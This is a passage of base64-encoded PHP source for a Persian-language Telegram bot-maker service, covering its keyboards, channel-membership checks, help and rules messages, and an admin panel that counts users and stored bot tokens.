NoYXQtPmZpcnN0X25hbWU7CiR1bmFtZSA9ICRtZXNzYWdlLT5jaGF0LT51c2VybmFtZTsKJHRleHQxID0gJG1lc3NhZ2UtPnRleHQ7CiRhdWRpbz0kbWVzc2FnZS0+YXVkaW87CiRhZmlsZV9pZD0kYXVkaW8tPmZpbGVfaWQ7CiRmYWRtaW4gPSAkbWVzc2FnZS0+ZnJvbS0+aWQ7CiRjaGF0aWQgPSAkdXBkYXRlLT5jYWxsYmFja19xdWVyeS0+bWVzc2FnZS0+Y2hhdC0+aWQ7CiRkYXRhID0gJHVwZGF0ZS0+Y2FsbGJhY2tfcXVlcnktPmRhdGE7CiRyZXBseSA9ICR1cGRhdGUtPm1lc3NhZ2UtPnJlcGx5X3RvX21lc3NhZ2UtPmZvcndhcmRfZnJvbS0+aWQ7CiRmb3J3YXJkID0gJHVwZGF0ZS0+bWVzc2FnZS0+Zm9yd2FyZF9mcm9tOwokcXVlcnk9JHVwZGF0ZS0+Y2FsbGJhY2tfcXVlcnk7CiRpbmxpbmU9JHVwZGF0ZS0+aW5saW5lX3F1ZXJ5OwokY2hhbm5lbF9mb3J3YXJkID0gJHVwZGF0ZS0+Y2hhbm5lbF9wb3N0LT5mb3J3YXJkX2Zyb207CiRjaGFubmVsX3RleHQgPSAkdXBkYXRlLT5jaGFubmVsX3Bvc3QtPnRleHQ7CiRtZXNzYWdlaWQgPSAkdXBkYXRlLT5jYWxsYmFja19xdWVyeS0+bWVzc2FnZS0+bWVzc2FnZV9pZDsKJHJlcGx5ID0gJHVwZGF0ZS0+bWVzc2FnZS0+cmVwbHlfdG9fbWVzc2FnZTsKbWtkaXIoImRhdGEiKTsKbWtkaXIoImRhdGEvJGZhZG1pbiIpOwokc3RhcnRjaGFsZXNoPXN0cl9yZXBsYWNlKCIvc3RhcnQgIiwiIiwkdGV4dDEpOwokYz0kbWVzc2FnZS0+Y29udGFjdDsKJGNuYW1lPSRtZXNzYWdlLT5jb250YWN0LT5maXJzdF9uYW1lOwokY251bWJlcj0kbWVzc2FnZS0+Y29udGFjdC0+cGhvbmVfbnVtYmVyOwokY2lkPSRtZXNzYWdlLT5jb250YWN0LT51c2VyX2lkOwokc3RlcD1maWxlX2dldF9jb250ZW50cygiZGF0YS8kZmFkbWluL29uZS50eHQiKTsKJHRpbWUxPWpzb25fZGVjb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vYS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uZC5pci90aW1lIiksdHJ1ZSk7CiR0aW1lPSR0aW1lMVsnRU50aW1lJ107CiRkYXRlPSR0aW1lMVsnRkFkYXRlJ107CiRhZG1pbmxpc3Q9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvYWRtaW5saXN0LnR4dCIpOwokYWRtaW49ZXhwbG9kZSgiXG4iLCRhZG1pbmxpc3QpOwoka2V5cGFuZWw9anNvbl9lbmNvZGUoWwoncmVzaXplX2tleWJvYXJkJz0+dHJ1ZSwKCSdrZXlib2FyZCc9PlsKCVtbInRleHQiPT4i8J+Rptiq2LnYr9in2K8g2KfZgdix2KfYryJdXSwKCVtbJ3RleHQnPT4i8J+To9m+24zYp9mFINmH2YXar9in2YbbjCJdXSwKICAgIFtbJ3RleHQnPT4i8J+Tm9io2YTYp9qpIl0sWyd0ZXh0Jz0+IuKchdin2YbYqNmE2KfaqSJdXSwKW1sndGV4dCc9PiLimqHYp9m+2K/bjNiqINix2KjYp9iqINmH2KciXV0sCltbJ3RleHQnPT4i4oap2KjYsdqv2LTYqiJdXQpdXSk7CiRrZXlob21lPWpzb25fZW5jb2RlKFsKJ3Jlc2l6ZV9rZXlib2FyZCc9PnRydWUsCgkna2V5Ym9hcmQnPT5bCglbWyd0ZXh0Jz0+IvCfpJbYs9in2K7YqiDYsdio2KfYqvCfpJYiXSxdLAoJIFtbJ3RleHQnPT4i8J+Ugdio2LHZiNiy2LHYs9in2YbbjCJdXSwKW1sndGV4dCc9PiLimqDvuI/ar9iy2KfYsdi0INiq2K7ZhNmB4pqg77iPIl0sWyd0ZXh0Jz0+IvCfkqLYsdio2KfYqiDZh9in24wg2LTZhdin8J+SoiJdLF0sCltbJ3RleHQnPT4i8J+Xo9m+2LTYqtuM2KjYp9mG24zwn5ejIl0sWyd0ZXh0Jz0+IvCfjJDYs9in24zYqiDYsdiz2YXbjPCfjJAiXSxdLApbWyd0ZXh0Jz0+IvCfmqnZgtmI2KfZhtuM2Ybwn5qpIl0sWyd0ZXh0Jz0+IvCfkqHYsdin2YfZhtmF2Kfwn5KhIl0sXSwKW1sndGV4dCc9PiLwn46K2KvYqNiqINmG2KfZhSDahtin2YTYtCJdLFsndGV4dCc9PiLwn5OI2KLZhdin2LEg2obYp9mE2LQiXV0sCgldCgldKTsKCSRrZXlob21lYWRtaW49anNvbl9lbmNvZGUoWwoncmVzaXplX2tleWJvYXJkJz0+dHJ1ZSwKCSdrZXlib2FyZCc9PlsKCVtbJ3RleHQnPT4i8J+kltiz2KfYrtiqINix2KjYp9iq8J+kliJdLF0sCgkgW1sndGV4dCc9PiLwn5SB2KjYsdmI2LLYsdiz2KfZhtuMIl1dLApbWyd0ZXh0Jz0+IuKaoO+4j9qv2LLYp9ix2LQg2KrYrtmE2YHimqDvuI8iXSxbJ3RleHQnPT4i8J+Sotix2KjYp9iqINmH2KfbjCDYtNmF2Kfwn5KiIl0sXSwKW1sndGV4dCc9PiLwn5ej2b7YtNiq24zYqNin2YbbjPCfl6MiXSxbJ3RleHQnPT4i8J+MkNiz2KfbjNiqINix2LPZhduM8J+MkCJdLF0sCltbJ3RleHQnPT4i8J+aqdmC2YjYp9mG24zZhvCfmqkiXSxbJ3RleHQnPT4i8J+Sodix2KfZh9mG2YXYp/CfkqEiXSxdLApbWyd0ZXh0Jz0+IvCfjorYq9io2Kog2YbYp9mFINqG2KfZhNi0Il0sWyd0ZXh0Jz0+IvCfk4jYotmF2KfYsSDahtin2YTYtCJdXSwKW1sndGV4dCc9PiLwn5uD2YXYr9uM2LHbjNiqIl1dCgldCgldKTsKCSRrZXliYWNrPWpzb25fZW5jb2RlKFsKCQkJCQkncmVzaXplX2tleWJvYXJkJz0+dHJ1ZSwKCQkJCQkna2V5Ym9hcmQnPT5bCgkJCQkJW1sndGV4dCc9PiLwn5SZ2KjYsdqv2LTYqvCflJkiXV0KCQkJCQldCgkJCQkJXSk7CglpZigkZmFkbWluPT0kYmxvY2spewoJCXJldHVybiBmYWxzZTsKCQl9CgkJJGluY2ggPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9hLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm9yZy9ib3QiLkFQSV9LRVkuIi9nZXRDaGF0TWVtYmVyP2NoYXRfaWQ9QGZ0X3RlYW0mdXNlcl9pZD0kZmFkbWluIik7CgkJCglpZigkdGV4dDE9PSIvc3RhcnQiKXsKCQkgaWYgKHN0cnBvcygkaW5jaCAsICcic3RhdHVzIjoibGVmdCInKSAhPT0gZmFsc2UgICkgCiAgewpib3QoJ3NlbmRtZXNzYWdlJyxbCidjaGF0X2lkJz0+JGNoYXRfaWQsCid0ZXh0Jz0+Iti02YXYpyDYr9ixINqp2KfZhtin2YQg2YXYpyDYudi22Ygg2YbbjNiz2KrbjNiv8J+Tr+Kclu+4jwoK2YTYt9mB2Kcg2KfYqNiq2K/YpyDYr9ixINqp2KfZhtin2YQg2YXYpyDYudi22Ygg2KjYtNuM2K/imJHvuI8K2KrYpyDYqNiq2YjYp9mG24zZgNmA2YDYryDYp9iyINiq2YXYp9mFINin2YXaqdin2YbYp9iqINix2KjYp9iqINin2LPYqtmB2KfYr9mHINqp2YbbjNmA2YDYr+KclO+4j+KclO+4j+KclO+4jwpodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZnRfdGVhbQpodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZnRfdGVhbQrYqNi52K8g2KfYsiDYudi22YjbjNiqINix2YjbjCDYr9qp2YXZhyAvc3RhcnQg2qnZhNuM2qkg2qnZhtuM2K8g2KrYpyDYr9qp2YXZhyDZh9in24wg2KfYtdmE24wg2LjYp9mH2LEg2KjYtNmI2YbYr/CflJgiLAoncmVwbHlfbWFya3VwJz0+J3sia2V5Ym9hcmQiOltbIiJdLFsiL3N0YXJ0Il1dLCJyZXNpemVfa2V5Ym9hcmQiOnRydWV9JywKXSk7CnJldHVybiBmYWxzZTsKfQoJCWlmKGluX2FycmF5KCRmYWRtaW4sJGFkbWluKSl7CgkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJJ3RleHQnPT4i2LPZhNin2YUgWyRmbmFtZV0oaHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lLyR1bmFtZSkg2KjZhyDYsdio2KfYqiDYs9in2K7YqiDZvtuM2KfZhSDYsdiz2KfZhiDYqtmE2q/Ysdin2YUg2K7ZiNi0INin2YjZhdiv24wKIAogX+KXvdmC2KjZhCDYp9iyINiz2KfYrtiqINix2KjYp9iqINmC2YjYp9mG24zZhiDZiCDYsdin2YfZhtmF2Kcg2LHZiCDZhdi02KfZh9iv2Ycg2qnZhtuM2YYKIOKXvdmH2LEg2YbZgdixINmF24zYqtmI2KfZhtivINuM2qkg2LHYqNin2Kog2KjYs9in2LLYryDYqNix2KfbjCDYsdio2KfYqiDYr9mI2YUg2YXbjNiq2YjYp9mG24zYryDYqNmHINm+2LTYqtuM2KjYp9mG24wg2YXYsdin2KzYudmHINqp2YbbjNmGINuM2Kcg2LHYqNin2Kog2KfZiNmEINix2Kcg2K3YsNmBINmG2YXYp9uM24zYrwog4pe92Kfar9ixINix2KjYp9iq24wg2YXYtNin2YfYr9mHINqp2LHYr9uM2YYg2qnZhyDYrtmE2KfZgSDZgtmI2KfZhtuM2YYg2LnZhdmEINqp2LHYr9mHINit2KrZhdinINio2Ycg2YXYpyDYp9i32YTYp9i5INiv2YfbjNivCl8KINio2Kcg2KrYtNqp2LEg2b7YtNiq24zYqNin2YbbjCDZvtuMINmI24wg2YHZiNix2YXYp9iz2KoKW0ZvcmVtb3N0IFRlYW1dKGh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtKSIsCgkJCSdyZXBseV9tYXJrdXAnPT4ka2V5aG9tZWFkbWluLAoJCQkncGFyc2VfbW9kZSc9PiJtYXJrZG93biIsCgkJCV0pOwoJCQl9ZWxzZXsKCQkJaWYoJGZhZG1pbj09JGJsb2NrKXsKCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJJ3RleHQnPT4i2LTZhdinINio2YTYp9qpINmH2LPYqtuM2K8g2KfYsiDYsdio2KfYqvCfmKPwn5ijIiwKCQkJXSk7CgkJCQl9ZWxzZXsKCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJJ3RleHQnPT4i2LPZhNin2YUgWyRmbmFtZV0oaHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lLyR1bmFtZSkg2KjZhyDYsdio2KfYqiDYs9in2K7YqiDZvtuM2KfZhSDYsdiz2KfZhiDYqtmE2q/Ysdin2YUg2K7ZiNi0INin2YjZhdiv24wKIAogX+KXvdmC2KjZhCDYp9iyINiz2KfYrtiqINix2KjYp9iqINmC2YjYp9mG24zZhiDZiCDYsdin2YfZhtmF2Kcg2LHZiCDZhdi02KfZh9iv2Ycg2qnZhtuM2YYKIOKXvdmH2LEg2YbZgdixINmF24zYqtmI2KfZhtivINuM2qkg2LHYqNin2Kog2KjYs9in2LLYryDYqNix2KfbjCDYsdio2KfYqiDYr9mI2YUg2YXbjNiq2YjYp9mG24zYryDYqNmHINm+2LTYqtuM2KjYp9mG24wg2YXYsdin2KzYudmHINqp2YbbjNmGINuM2Kcg2LHYqNin2Kog2KfZiNmEINix2Kcg2K3YsNmBINmG2YXYp9uM24zYrwog4pe92Kfar9ixINix2KjYp9iq24wg2YXYtNin2YfYr9mHINqp2LHYr9uM2YYg2qnZhyDYrtmE2KfZgSDZgtmI2KfZhtuM2YYg2LnZhdmEINqp2LHYr9mHINit2KrZhdinINio2Ycg2YXYpyDYp9i32YTYp9i5INiv2YfbjNivCl8KINio2Kcg2KrYtNqp2LEg2b7YtNiq24zYqNin2YbbjCDZvtuMINmI24wg2YHZiNix2YXYp9iz2KoKW0ZvcmVtb3N0IFRlYW1dKGh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtKSIsCidwYXJzZV9tb2RlJz0+Im1hcmtkb3duIiwKCQkJCSdyZXBseV9tYXJrdXAnPT4ka2V5aG9tZSwKCQkJCV0pOwoJCQkJfQoJCQkKCQkJfQoJCQoJCX1lbHNlaWYoJHRleHQxPT0i8J+Sodix2KfZh9mG2YXYp/CfkqEiKXsKCQkJIGlmIChzdHJwb3MoJGluY2ggLCAnInN0YXR1cyI6ImxlZnQiJykgIT09IGZhbHNlICApIAogIHsKYm90KCdzZW5kbWVzc2FnZScsWwonY2hhdF9pZCc9PiRjaGF0X2lkLAondGV4dCc9PiLYtNmF2Kcg2K/YsSDaqdin2YbYp9mEINmF2Kcg2LnYttmIINmG24zYs9iq24zYr/Cfk6/inJbvuI8KCtmE2LfZgdinINin2KjYqtiv2Kcg2K/YsSDaqdin2YbYp9mEINmF2Kcg2LnYttmIINio2LTbjNiv4piR77iPCtiq2Kcg2KjYqtmI2KfZhtuM2YDZgNmA2K8g2KfYsiDYqtmF2KfZhSDYp9mF2qnYp9mG2KfYqiDYsdio2KfYqiDYp9iz2KrZgdin2K/ZhyDaqdmG24zZgNmA2K/inJTvuI/inJTvuI/inJTvuI8KaHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lL2Z0X3RlYW0KaHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lL2Z0X3RlYW0K2KjYudivINin2LIg2LnYttmI24zYqiDYsdmI24wg2K/aqdmF2YcgL3N0YXJ0INqp2YTbjNqpINqp2YbbjNivINiq2Kcg2K/aqdmF2Ycg2YfYp9uMINin2LXZhNuMINi42KfZh9ixINio2LTZiNmG2K/wn5SYIiwKJ3JlcGx5X21hcmt1cCc9Pid7ImtleWJvYXJkIjpbWyIiXSxbIi9zdGFydCJdXSwicmVzaXplX2tleWJvYXJkIjp0cnVlfScsCl0pOwpyZXR1cm4gZmFsc2U7Cn0KCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkndGV4dCc9PiLwn5Kh2LHYp9mH2YbZhdin24wg2LHYqNin2Ko6CiAgCiAg2KfbjNmGINix2KjYp9iqINio2Ycg2LTZhdinINqp2YXaqSDZhduM2qnZhtivINiq2Kcg24zaqSDYsdin2Ycg2KfYsdiq2KjYp9i324wg2KjbjNmGINiu2YjYryDZiCDYr9uM2q/Ysdin2YYg2qnZhyDYsduM2b7ZiNix2Kog2YfYs9iq2YbYryDYp9uM2KzYp9ivINqp2YbbjNmGLtmG2Ycg2YHZgti3INio2LHYp9uMINin2YHYsdin2K8g2LHbjNm+2YjYsdiqINio2YTaqdmHINio2LHYp9uMINiq2YXYp9mFINqp2LPYp9mG24wg2qnZhyDYqNmHINmH2LEg2K/ZhNuM2YTbjCDZhtmF24zYrtmI2KfZh9uM2K8g2KjZhyDYp9uM2K/bjCDYtNmF2Kcg2K/Ys9iqINm+24zYr9inINqp2YbZhtivINuM2Kcg2KjYpyDYtNmF2Kcg2KjZhyDYtdmI2LHYqiDZhdiz2KrZgtuM2YUg2KfYsdiq2KjYp9i3INio2LHZgtix2KfYsSDaqdmG2YbYry4KCiAg2Kfar9ixINio2LHYp9uMINiz2KfYrtiqINix2KjYp9iqINmF2LTaqdmE24wg2K/Yp9ix24zZhiDYqNmHINix2KjYp9iqCiAgQGJvdGZhdGhlcgogINix2YHYqtmHINmIINiz2b7YsyDYr9iz2KrZiNixIC9uZXdib3Qg2LHYpyDYp9ix2LPYp9mEINqp2YbbjNmGINmIINuM2qkg2YbYp9mFINiv2YTYrtmI2KfZhyDYqNix2KfbjCDYsdio2KfYqiDYp9mG2KrYrtin2Kgg2qnZhtuM2YYg2Ygg2b7YsyDYp9iyINii2YYg24zaqSDbjNmI2LLYsdmG24zZhSDYqNix2KfbjCDYsdio2KfYqiDYp9mG2KrYrtin2Kgg2qnYsdiv2Ycg2Ygg2KfYsdiz2KfZhCDaqdmG24zZhiAu2KrZiNis2Ycg2qnZhtuM2YYg2K/YsSDYp9iu2LEg24zZiNiy2LHZhtuM2YUg2LHYqNin2Kog2KjYp9uM2K8g2KfYsiDaqdmE2YXZhyBib3Qg2KfYs9iq2YHYp9iv2Ycg2LTYr9mHINio2KfYtNivCiAg2KjYsdin24wg2KLZhdmI2LLYtCDZh9in24wg2KjbjNi02KrYsSDYqNmHINqp2KfZhtin2YQg2LLbjNixINmF2LHYp9is2LnZhyDaqdmG24zZhjoKICBAZnRfdGVhbSIsCgkJCQoJCQldKTsKCQkJCgkJCX1lbHNlaWYoJHRleHQxPT0i8J+aqdmC2YjYp9mG24zZhvCfmqkiKXsKCQkJCSBpZiAoc3RycG9zKCRpbmNoICwgJyJzdGF0dXMiOiJsZWZ0IicpICE9PSBmYWxzZSAgKSAKICB7CmJvdCgnc2VuZG1lc3NhZ2UnLFsKJ2NoYXRfaWQnPT4kY2hhdF9pZCwKJ3RleHQnPT4i2LTZhdinINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDZhtuM2LPYqtuM2K/wn5Ov4pyW77iPCgrZhNi32YHYpyDYp9io2KrYr9inINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDYqNi024zYr+KYke+4jwrYqtinINio2KrZiNin2YbbjNmA2YDZgNivINin2LIg2KrZhdin2YUg2KfZhdqp2KfZhtin2Kog2LHYqNin2Kog2KfYs9iq2YHYp9iv2Ycg2qnZhtuM2YDZgNiv4pyU77iP4pyU77iP4pyU77iPCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCtio2LnYryDYp9iyINi52LbZiNuM2Kog2LHZiNuMINiv2qnZhdmHIC9zdGFydCDaqdmE24zaqSDaqdmG24zYryDYqtinINiv2qnZhdmHINmH2KfbjCDYp9i12YTbjCDYuNin2YfYsSDYqNi02YjZhtiv8J+UmCIsCidyZXBseV9tYXJrdXAnPT4neyJrZXlib2FyZCI6W1siIl0sWyIvc3RhcnQiXV0sInJlc2l6ZV9rZXlib2FyZCI6dHJ1ZX0nLApdKTsKcmV0dXJuIGZhbHNlOwp9CgkJCQlib3QoJ3NlbmRtZXNzYWdlJyxbCgkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJJ3RleHQnPT4i4oS5INmC2YjYp9mG24zZhiDYp9iz2KrZgdin2K/ZhyDYp9iyINm+24wg2YjbjCDZgdmI2LHZhdin2LPYqjoKX19fX19fX19fX19fX19fXwoxLiDZh9mF2Ycg2YXYt9in2YTYqCDYqNin24zYryDYqtin2KjYuSDZgtmI2KfZhtuM2YYg2KzZhdmH2YjYsduMINin2LPZhNin2YXbjCDYp9uM2LHYp9mGINio2KfYtNivCgoyLiDYsdi52KfbjNiqINin2K/YqCDZiCDYp9it2KrYsdin2YUg2KjZhyDaqdin2LHYqNix2KfZhgoKMy4g2LPYp9iu2Kog2YfYsdqv2YjZhtmHINix2KjYp9iqINiv2LEg2LbZhduM2YXZhyArMTgg2K7ZhNin2YEg2YLZiNin2YbbjNmGINm+24wg2YjbjCDZgdmI2LHZhdin2LPYqiDZhduM2KjYp9i02K8g2Ygg2K/YsSDYtdmI2LHYqiDZhdi02KfZh9iv2Ycg2LHYqNin2Kog2YXZiNix2K8g2YbYuNixINmF2LPYr9mI2K8g2Ygg2YfZhdqG2YbbjNmGINmF2K/bjNixINix2KjYp9iqINin2LIg2KrZhdin2YXbjCDYsdio2KfYqiDZh9in24wg2KrbjNmFINmB2YjYsdmF2KfYs9iqINio2YTYp9qpINmF24zYtNmI2K8uCgo0LiDZhdiz2KbZiNmE24zYqiDZvtuM2KfZhSDZh9in24wg2LHYryDZiCDYqNiv2YQg2LTYr9mHINiv2LEg2YfYsSDYsdio2KfYqiDYqNinINmF2K/bjNixINii2YYg2YXbjNio2KfYtNivINmIINm+24wg2YjbjCDZgdmI2LHZhdin2LPYqiDZh9uM2obar9mI2YbZhyDZhdiz2KbZiNmE24zYqtuMINmG2K/Yp9ix2K8uCgo1LiDYr9ixINi12YjYsdiqINmF2LTYp9mH2K/ZhyDYp9iz2KrZgdin2K/ZhyDYp9iyINmC2KfYqNmE24zYqiDZh9in24wg2LHYqNin2Kog2K/YsSDYrNmH2KfYqiDZhdmG2YHbjCDYqNmHINi02K/YqiDYqNix2K7ZiNix2K8g2YXbjNi02YjYrwoKNi4g2Kfar9ixINio2Ycg2YfYsSDYr9mE24zZhNuMINiv2LHYrtmI2KfYs9iqINmH2KfbjCDYsdio2KfYqiDYtNmF2Kcg2KjZhyDYs9ix2YjYsSDZhdinINio24zYtCDYp9iyINit2K8g2YXYudmF2YjZhCDYqNin2LTYryDahtmG2K8g2KjYp9ix24wg2KjZhyDYtNmF2Kcg2KfYrti32KfYsSDYr9in2K/ZhyDZhduM2LTZiNivINin2q/YsSDYp9uM2YYg2KfYrti32KfYsSDZh9inINmG2KfYr9uM2K/ZhyDar9ix2YHYqtmHINi02YjZhtivINix2KjYp9iqINi02YXYpyDZhdiz2K/ZiNivINmIINio2Ycg2YfbjNqGINi52YbZiNin2YYg2KfYsiDZhdit2K/ZiNiv24zYqiDYrtin2LHYrCDZhtmF24zYtNmI2K8KX19fX19fX19fX19fX19fXwpAZnRfdGVhbSIsCgkJCQldKTsKCQkJCX1lbHNlaWYoJHRleHQxPT0i8J+Xo9m+2LTYqtuM2KjYp9mG24zwn5ejIil7CgkJCQkJIGlmIChzdHJwb3MoJGluY2ggLCAnInN0YXR1cyI6ImxlZnQiJykgIT09IGZhbHNlICApIAogIHsKYm90KCdzZW5kbWVzc2FnZScsWwonY2hhdF9pZCc9PiRjaGF0X2lkLAondGV4dCc9PiLYtNmF2Kcg2K/YsSDaqdin2YbYp9mEINmF2Kcg2LnYttmIINmG24zYs9iq24zYr/Cfk6/inJbvuI8KCtmE2LfZgdinINin2KjYqtiv2Kcg2K/YsSDaqdin2YbYp9mEINmF2Kcg2LnYttmIINio2LTbjNiv4piR77iPCtiq2Kcg2KjYqtmI2KfZhtuM2YDZgNmA2K8g2KfYsiDYqtmF2KfZhSDYp9mF2qnYp9mG2KfYqiDYsdio2KfYqiDYp9iz2KrZgdin2K/ZhyDaqdmG24zZgNmA2K/inJTvuI/inJTvuI/inJTvuI8KaHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lL2Z0X3RlYW0KaHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lL2Z0X3RlYW0K2KjYudivINin2LIg2LnYttmI24zYqiDYsdmI24wg2K/aqdmF2YcgL3N0YXJ0INqp2YTbjNqpINqp2YbbjNivINiq2Kcg2K/aqdmF2Ycg2YfYp9uMINin2LXZhNuMINi42KfZh9ixINio2LTZiNmG2K/wn5SYIiwKJ3JlcGx5X21hcmt1cCc9Pid7ImtleWJvYXJkIjpbWyIiXSxbIi9zdGFydCJdXSwicmVzaXplX2tleWJvYXJkIjp0cnVlfScsCl0pOwpyZXR1cm4gZmFsc2U7Cn0KCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkndGV4dCc9PiLil77ilqvYr9mI2LPYqiDYudiy24zYsiDYqtmF2KfZhSDZhti42LHYp9iq2KrZiNmGINix2Ygg2YXbjNiq2YjYp9mG24zYryDYqNmHINix2KjYp9iqCiAg8J+GlCBAVEVTVF9GT1JFTU9TVF9URUFNX0JPVAogINio2YHYsdiz2KrbjNivINiq2Kcg2K/YsSDYp9iz2LHYuSDZiNmC2Kog2b7YtNiq24zYqNin2YbYp9mGINm+24wg2YjbjCDZgdmI2LHZhdin2LPYqiDYqNmHINi02YXYpyDZvtin2LPYriDYqNiv2YfZhtivLiIsCgkJCQldKTsKCQkJCX1lbHNlaWYoJHRleHQxPT0i8J+MkNiz2KfbjNiqINix2LPZhduM8J+MkCIpewoJCQkJCSBpZiAoc3RycG9zKCRpbmNoICwgJyJzdGF0dXMiOiJsZWZ0IicpICE9PSBmYWxzZSAgKSAKICB7CmJvdCgnc2VuZG1lc3NhZ2UnLFsKJ2NoYXRfaWQnPT4kY2hhdF9pZCwKJ3RleHQnPT4i2LTZhdinINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDZhtuM2LPYqtuM2K/wn5Ov4pyW77iPCgrZhNi32YHYpyDYp9io2KrYr9inINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDYqNi024zYr+KYke+4jwrYqtinINio2KrZiNin2YbbjNmA2YDZgNivINin2LIg2KrZhdin2YUg2KfZhdqp2KfZhtin2Kog2LHYqNin2Kog2KfYs9iq2YHYp9iv2Ycg2qnZhtuM2YDZgNiv4pyU77iP4pyU77iP4pyU77iPCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCtio2LnYryDYp9iyINi52LbZiNuM2Kog2LHZiNuMINiv2qnZhdmHIC9zdGFydCDaqdmE24zaqSDaqdmG24zYryDYqtinINiv2qnZhdmHINmH2KfbjCDYp9i12YTbjCDYuNin2YfYsSDYqNi02YjZhtiv8J+UmCIsCidyZXBseV9tYXJrdXAnPT4neyJrZXlib2FyZCI6W1siIl0sWyIvc3RhcnQiXV0sInJlc2l6ZV9rZXlib2FyZCI6dHJ1ZX0nLApdKTsKcmV0dXJuIGZhbHNlOwp9CgkJCQlib3QoJ3NlbmRtZXNzYWdlJyxbCgkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJJ3RleHQnPT4ic2l0ZSByYXNtaSIsCgkJCQldKTsKCQkJCX1lbHNlaWYoJHRleHQxPT0i8J+bg9mF2K/bjNix24zYqiIgJiYgaW5fYXJyYXkoJGZhZG1pbiwkYWRtaW4pKXsKCQkJCQlib3QoJ3NlbmRtZXNzYWdlJyxbCgkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkndGV4dCc9PiLYs9mE2KfZhSDYp9iv2YXbjNmGINqv2LHYp9mF24wg2KjZhyDYqNiu2LQg2YXYr9uM2LHbjNiqINiu2YjYtCDYotmF2K/bjNiv4pyFIiwKCQkJCQkncmVwbHlfbWFya3VwJz0+JGtleXBhbmVsLAoJCQkJCV0pOwoJCQkJCQoJCQkJCX1lbHNlaWYoJHRleHQxPT0i8J+Rptiq2LnYr9in2K8g2KfZgdix2KfYryIgJiYgaW5fYXJyYXkoJGZhZG1pbiwkYWRtaW4gKSl7CgkJCQkJCSRtZW1iZXI9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvdXNlcnB2Zm9yZW1vc3QudHh0Iik7CgkJCQkJCSRleG1lbWJlcj1leHBsb2RlKCJcbiIsJG1lbWJlcik7CgkJCQkJCSRtPWNvdW50KCRleG1lbWJlciktMTsKCQkJCSAgIAkkdG9rZW5saXN0PWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL3Rva2VubGlzdC50eHQiKTsKCQkJCQkJJGV4dG9rZW49ZXhwbG9kZSgiXG4iLCR0b2tlbmxpc3QpOwoJCQkJCQkkdD1jb3VudCgkZXh0b2tlbiktMTsKCQkJCQkJJHRleHQ9IvCfkarYqti52K/Yp9ivINqp2KfYsdio2LHYp9mGINix2KjYp9iqIDogJG1cblxu8J+Mn9iq2LnYr9in2K8g2LHYqNin2Kog2YfYpyA6ICR0ICI7CgkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJJ3RleHQnPT4kdGV4dCwKCQkJCQkJXSk7CgkJCQkJCQoJCQkJCQl9CgkJCQkJZWxzZWlmKCR0ZXh0MT09IvCfkqLYsdio2KfYqiDZh9in24wg2LTZhdin8J+SoiIpewoJCQkJCQkgaWYgKHN0cnBvcygkaW5jaCAsICcic3RhdHVzIjoibGVmdCInKSAhPT0gZmFsc2UgICkgCiAgewpib3QoJ3NlbmRtZXNzYWdlJyxbCidjaGF0X2lkJz0+JGNoYXRfaWQsCid0ZXh0Jz0+Iti02YXYpyDYr9ixINqp2KfZht